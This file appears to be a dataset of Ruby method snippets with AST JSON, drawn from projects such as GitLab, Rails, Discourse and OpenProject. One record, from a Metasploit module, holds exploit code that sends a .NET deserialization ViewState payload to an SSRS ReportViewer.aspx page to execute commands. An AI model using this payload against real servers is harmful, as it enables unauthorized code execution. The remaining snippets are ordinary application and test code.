{"repo_name":"openproject","file_path":"./repos/openproject/app/models/query/results/group_by.rb","start_line":188,"raw_source":"def aliased_group_by_sort_order(alias_name, sortable, columns_hash, order = nil)\n    column = if alias_name\n               expand_association_column(sortable, alias_name)\n             else\n               sortable\n             end\n\n    column = case_insensitive_condition(sortable, column, columns_hash)\n\n    if order\n      \"#{column} #{order}\"\n    else\n      column\n    end\n  end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"aliased_group_by_sort_order\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"alias_name\"]},{\"type\":\"arg\",\"children\":[\"sortable\"]},{\"type\":\"arg\",\"children\":[\"columns_hash\"]},{\"type\":\"optarg\",\"children\":[\"order\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"column\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"alias_name\"]},{\"type\":\"send\",\"children\":[null,\"expand_association_column\",{\"type\":\"lvar\",\"children\":[\"sortable\"]},{\"type\":\"lvar\",\"children\":[\"alias_name\"]}]},{\"type\":\"lvar\",\"children\":[\"sortable\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"column\",{\"type\":\"send\",\"children\":[null,\"case_insensitive_condition\",{\"type\":\"lvar\",\"children\":[\"sortable\"]},{\"type\":\"lvar\",\"children\":[\"column\"]},{\"type\":\"lvar\",\"children\":[\"columns_hash\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]}]}]},{\"type\":\"lvar\",\"children\":[\"column\"]}]}]}]}","id":"b4d74352-af78-4690-ad51-e60598a25311"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/project.rb","start_line":3250,"raw_source":"def limited_protected_branches(limit)\n    protected_branches.limit(limit)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"limited_protected_branches\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"limit\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"protected_branches\"]},\"limit\",{\"type\":\"lvar\",\"children\":[\"limit\"]}]}]}","id":"c6d5f271-1cec-4885-8c51-c8f204083648"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/tag_helper_test.rb","start_line":294,"raw_source":"def test_tag_builder_with_block_and_options_outside_out_of_erb\n    assert_equal tag.a(\"Create\", href: \"create\"),\n                 tag.a(\"href\": \"create\") { \"Create\" }\n  end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_tag_builder_with_block_and_options_outside_out_of_erb\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tag\"]},\"a\",{\"type\":\"str\",\"children\":[\"Create\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"href\"]},{\"type\":\"str\",\"children\":[\"create\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tag\"]},\"a\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"href\"]},{\"type\":\"str\",\"children\":[\"create\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Create\"]}]}]}]}","id":"469f48db-b4bf-4fb5-90ab-687a556bc4c9"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/model_generator_test.rb","start_line":596,"raw_source":"def test_skip_virtual_fields_in_fixtures\n    run_generator [\"message\", \"content:rich_text\", \"video:attachment\", \"photos:attachments\"]\n\n    assert_generated_fixture(\"test/fixtures/messages.yml\",\n                             \"one\" => nil, \"two\" => nil)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_skip_virtual_fields_in_fixtures\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_generator\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"content:rich_text\"]},{\"type\":\"str\",\"children\":[\"video:attachment\"]},{\"type\":\"str\",\"children\":[\"photos:attachments\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_generated_fixture\",{\"type\":\"str\",\"children\":[\"test/fixtures/messages.yml\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"one\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"two\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}","id":"17116bce-f774-40cb-ba40-1f163bb744b4"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin_helper/storage.rb","start_line":311,"raw_source":"def load\n          @monitor.synchronize do\n            @storage.load\n          end\n        end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"load\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@monitor\"]},\"synchronize\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@storage\"]},\"load\"]}]}]}","id":"5e0f154a-0ed5-4e8c-b4a4-b4927f65ffcf"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/formatter/todo_formatter.rb","start_line":75,"raw_source":"def relative_path(path)\n        parent = File.expand_path('..', directory)\n        path.delete_prefix(\"#{parent}/\")\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"relative_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parent\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"str\",\"children\":[\"..\"]},{\"type\":\"send\",\"children\":[null,\"directory\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"delete_prefix\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]}]},{\"type\":\"str\",\"children\":[\"/\"]}]}]}]}]}","id":"11223bdc-7fae-4259-b3dc-166ca6479722"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/web_hooks/log_execution_service.rb","start_line":34,"raw_source":"def mask_response_headers\n      return unless hook.url_variables?\n      return unless log_data.key?('response_headers')\n\n      variables_map = hook.url_variables.invert.transform_values { \"{#{_1}}\" }\n      regex = Regexp.union(variables_map.keys)\n\n      log_data['response_headers'].transform_values! do |value|\n        regex === value ? value.gsub(regex, variables_map) : value\n      end\n    end","complexity_score":25.9,"ast_json":"{\"type\":\"def\",\"children\":[\"mask_response_headers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"hook\"]},\"url_variables?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log_data\"]},\"key?\",{\"type\":\"str\",\"children\":[\"response_headers\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"variables_map\",{\"type\":\"numblock\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"hook\"]},\"url_variables\"]},\"invert\"]},\"transform_values\"]},1,{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"{\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"_1\"]}]},{\"type\":\"str\",\"children\":[\"}\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"regex\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"union\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"variables_map\"]},\"keys\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"response_headers\"]}]},\"transform_values!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"regex\"]},\"===\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"gsub\",{\"type\":\"lvar\",\"children\":[\"regex\"]},{\"type\":\"lvar\",\"children\":[\"variables_map\"]}]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}","id":"6c706014-4722-4ee8-adff-27e18fabfc86"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/file_store/local_store.rb","start_line":48,"raw_source":"def download_url(upload)\n      return unless upload\n      File.join(relative_base_url, upload.sha1)\n    end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"download_url\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"upload\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[null,\"relative_base_url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload\"]},\"sha1\"]}]}]}]}","id":"965b160d-8acc-4fac-b101-e2c262cdee95"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/partitioning_migration_helpers/index_helpers.rb","start_line":66,"raw_source":"def remove_concurrent_partitioned_index_by_name(table_name, index_name)\n          assert_not_in_transaction_block(scope: ERROR_SCOPE)\n\n          find_partitioned_table(table_name)\n\n          unless index_name_exists?(table_name, index_name)\n            Gitlab::AppLogger.warn \"Index not removed because it does not exist (this may be due to an aborted \" \\\n              \"migration or similar): table_name: #{table_name}, index_name: #{index_name}\"\n\n            return\n          end\n\n          with_lock_retries do\n            remove_index(table_name, name: index_name)\n          end\n        end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_concurrent_partitioned_index_by_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table_name\"]},{\"type\":\"arg\",\"children\":[\"index_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_not_in_transaction_block\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"const\",\"children\":[null,\"ERROR_SCOPE\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"find_partitioned_table\",{\"type\":\"lvar\",\"children\":[\"table_name\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"index_name_exists?\",{\"type\":\"lvar\",\"children\":[\"table_name\"]},{\"type\":\"lvar\",\"children\":[\"index_name\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"AppLogger\"]},\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Index not removed because it does not exist (this may be due to an aborted \"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"migration or similar): table_name: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table_name\"]}]},{\"type\":\"str\",\"children\":[\", index_name: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index_name\"]}]}]}]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_index\",{\"type\":\"lvar\",\"children\":[\"table_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"index_name\"]}]}]}]}]}]}]}","id":"23eef35f-df2d-4a0e-a4c8-920267d8e499"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/test/holidays/definition/context/test_function_processor.rb","start_line":77,"raw_source":"def test_date_arg_passed_to_func_call\n    @func_args = [:date]\n    date = Date.civil(@year, @month, @day)\n    @proc_result_cache_repo.expects(:lookup).at_most_once.with(@custom_func, date).returns(date)\n\n    @subject.call(@input, @func_id, @func_args, @func_modifier)\n  end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_date_arg_passed_to_func_call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@func_args\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"date\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"date\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"civil\",{\"type\":\"ivar\",\"children\":[\"@year\"]},{\"type\":\"ivar\",\"children\":[\"@month\"]},{\"type\":\"ivar\",\"children\":[\"@day\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@proc_result_cache_repo\"]},\"expects\",{\"type\":\"sym\",\"children\":[\"lookup\"]}]},\"at_most_once\"]},\"with\",{\"type\":\"ivar\",\"children\":[\"@custom_func\"]},{\"type\":\"lvar\",\"children\":[\"date\"]}]},\"returns\",{\"type\":\"lvar\",\"children\":[\"date\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@subject\"]},\"call\",{\"type\":\"ivar\",\"children\":[\"@input\"]},{\"type\":\"ivar\",\"children\":[\"@func_id\"]},{\"type\":\"ivar\",\"children\":[\"@func_args\"]},{\"type\":\"ivar\",\"children\":[\"@func_modifier\"]}]}]}]}","id":"55f9c7cd-cf89-452c-9ffd-d9e09b3ae724"}
{"repo_name":"rails","file_path":"./repos/rails/activestorage/lib/active_storage/previewer.rb","start_line":31,"raw_source":"def download_blob_to_tempfile(&block) # :doc:\n        blob.open tmpdir: tmpdir, &block\n      end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"download_blob_to_tempfile\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"blob\"]},\"open\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tmpdir\"]},{\"type\":\"send\",\"children\":[null,\"tmpdir\"]}]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"de0b7b5c-f3ee-4026-a025-8e8d9959b03d"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/relation/update_all_test.rb","start_line":37,"raw_source":"def test_update_all_with_scope\n    tag = Tag.first\n    Post.tagged_with(tag.id).update_all(title: \"rofl\")\n    posts = Post.tagged_with(tag.id).all.to_a\n    assert_operator posts.length, :>, 0\n    posts.each { |post| assert_equal \"rofl\", post.title }\n  end","complexity_score":18.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_update_all_with_scope\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tag\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tag\"]},\"first\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"tagged_with\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]},\"id\"]}]},\"update_all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"rofl\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"posts\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"tagged_with\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]},\"id\"]}]},\"all\"]},\"to_a\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_operator\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"posts\"]},\"length\"]},{\"type\":\"sym\",\"children\":[\">\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"posts\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"post\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"rofl\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"title\"]}]}]}]}]}","id":"057c511b-531e-4417-b50c-db47fdb203f9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/ssrs_navcorrector_viewstate.rb","start_line":99,"raw_source":"def execute_command(cmd, opts)\n    state = opts[:state]\n    viewstate = Rex::Text.encode_base64(::Msf::Util::DotNetDeserialization.generate(\n      cmd,\n      gadget_chain: :TextFormattingRunProperties,\n      formatter: :LosFormatter\n    ))\n\n    res = send_request_cgi({\n      'uri' => normalize_uri(state[:vd], 'Pages', 'ReportViewer.aspx'),\n      'method' => 'POST',\n      'vars_post' => {\n        'NavigationCorrector$PageState' => 'NeedsCorrection',\n        'NavigationCorrector$ViewState' => viewstate,\n        '__VIEWSTATE' => ''\n      },\n      'username' => datastore['USERNAME'],\n      'password' => datastore['PASSWORD']\n    })\n\n    unless res&.code == 200\n      print_error('Non-200 HTTP response received while trying to execute the command')\n    end\n  end","complexity_score":19.6,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_command\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cmd\"]},{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"state\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"state\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"viewstate\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"encode_base64\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Msf\"]},\"Util\"]},\"DotNetDeserialization\"]},\"generate\",{\"type\":\"lvar\",\"children\":[\"cmd\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"gadget_chain\"]},{\"type\":\"sym\",\"children\":[\"TextFormattingRunProperties\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"formatter\"]},{\"type\":\"sym\",\"children\":[\"LosFormatter\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"state\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"vd\"]}]},{\"type\":\"str\",\"children\":[\"Pages\"]},{\"type\":\"str\",\"children\":[\"ReportViewer.aspx\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"NavigationCorrector$PageState\"]},{\"type\":\"str\",\"children\":[\"NeedsCorrection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"NavigationCorrector$ViewState\"]},{\"type\":\"lvar\",\"children\":[\"viewstate\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"__VIEWSTATE\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"password\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},null,{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Non-200 HTTP response received while trying to execute the command\"]}]}]}]}]}","id":"95880ae7-a62e-477e-aa95-83a816ea6e4e"}
{"repo_name":"doorkeeper","file_path":"./repos/doorkeeper/lib/doorkeeper/models/access_token_mixin.rb","start_line":376,"raw_source":"def same_credential?(access_token)\n      application_id == access_token.application_id &&\n        same_resource_owner?(access_token)\n    end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"same_credential?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"access_token\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"application_id\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"access_token\"]},\"application_id\"]}]},{\"type\":\"send\",\"children\":[null,\"same_resource_owner?\",{\"type\":\"lvar\",\"children\":[\"access_token\"]}]}]}]}","id":"576216d7-f4e9-432b-802d-24d6c3aec73e"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/projects/set_attributes_service.rb","start_line":96,"raw_source":"def first_not_set_code\n      (Project.status_codes.keys - [model.status_code]).first\n    end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"first_not_set_code\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"status_codes\"]},\"keys\"]},\"-\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"status_code\"]}]}]}]},\"first\"]}]}","id":"d8fdbb76-ee96-44c9-b8ad-4cfcec25a4ae"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/todo_service.rb","start_line":204,"raw_source":"def mark_todo(target, current_user)\n    project = target.project\n    attributes = attributes_for_todo(project, target, current_user, Todo::MARKED)\n\n    todos = create_todos(current_user, attributes, target_namespace(target), project)\n    work_item_activity_counter.track_work_item_mark_todo_action(author: current_user) if target.is_a?(WorkItem)\n\n    todos\n  end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"mark_todo\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"target\"]},{\"type\":\"arg\",\"children\":[\"current_user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"project\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"project\"]}]},{\"type\":\"lvasgn\",\"children\":[\"attributes\",{\"type\":\"send\",\"children\":[null,\"attributes_for_todo\",{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"target\"]},{\"type\":\"lvar\",\"children\":[\"current_user\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Todo\"]},\"MARKED\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"todos\",{\"type\":\"send\",\"children\":[null,\"create_todos\",{\"type\":\"lvar\",\"children\":[\"current_user\"]},{\"type\":\"lvar\",\"children\":[\"attributes\"]},{\"type\":\"send\",\"children\":[null,\"target_namespace\",{\"type\":\"lvar\",\"children\":[\"target\"]}]},{\"type\":\"lvar\",\"children\":[\"project\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"WorkItem\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"work_item_activity_counter\"]},\"track_work_item_mark_todo_action\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author\"]},{\"type\":\"lvar\",\"children\":[\"current_user\"]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"todos\"]}]}]}","id":"5b514524-cfc4-436c-8f74-30b51de69107"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/has_many_associations_test.rb","start_line":2039,"raw_source":"def test_included_in_collection_for_new_records\n    client = Client.create(name: \"Persisted\")\n    assert_nil client.client_of\n    assert_equal false, Firm.new.clients_of_firm.include?(client),\n     \"includes a client that does not belong to any firm\"\n  end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_included_in_collection_for_new_records\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"client\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Client\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Persisted\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"client_of\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"false\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Firm\"]},\"new\"]},\"clients_of_firm\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"client\"]}]},{\"type\":\"str\",\"children\":[\"includes a client that does not belong to any firm\"]}]}]}]}","id":"fdff75d3-281d-4783-8a39-bd7c41575c64"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/authz/permission.rb","start_line":38,"raw_source":"def permission_path\n        Rails.root.join(\"config/authz/permissions/**/*.yml\")\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"permission_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"root\"]},\"join\",{\"type\":\"str\",\"children\":[\"config/authz/permissions/**/*.yml\"]}]}]}","id":"1e3ff2e0-ed62-4c07-b504-0db430e8455f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/serializers/integrations/field_entity.rb","start_line":42,"raw_source":"def value_for(field)\n      strong_memoize(:value_for) do\n        # field[:name] is not user input and so can assume is safe\n        integration.public_send(field[:name]) # rubocop:disable GitlabSecurity/PublicSend\n      end\n    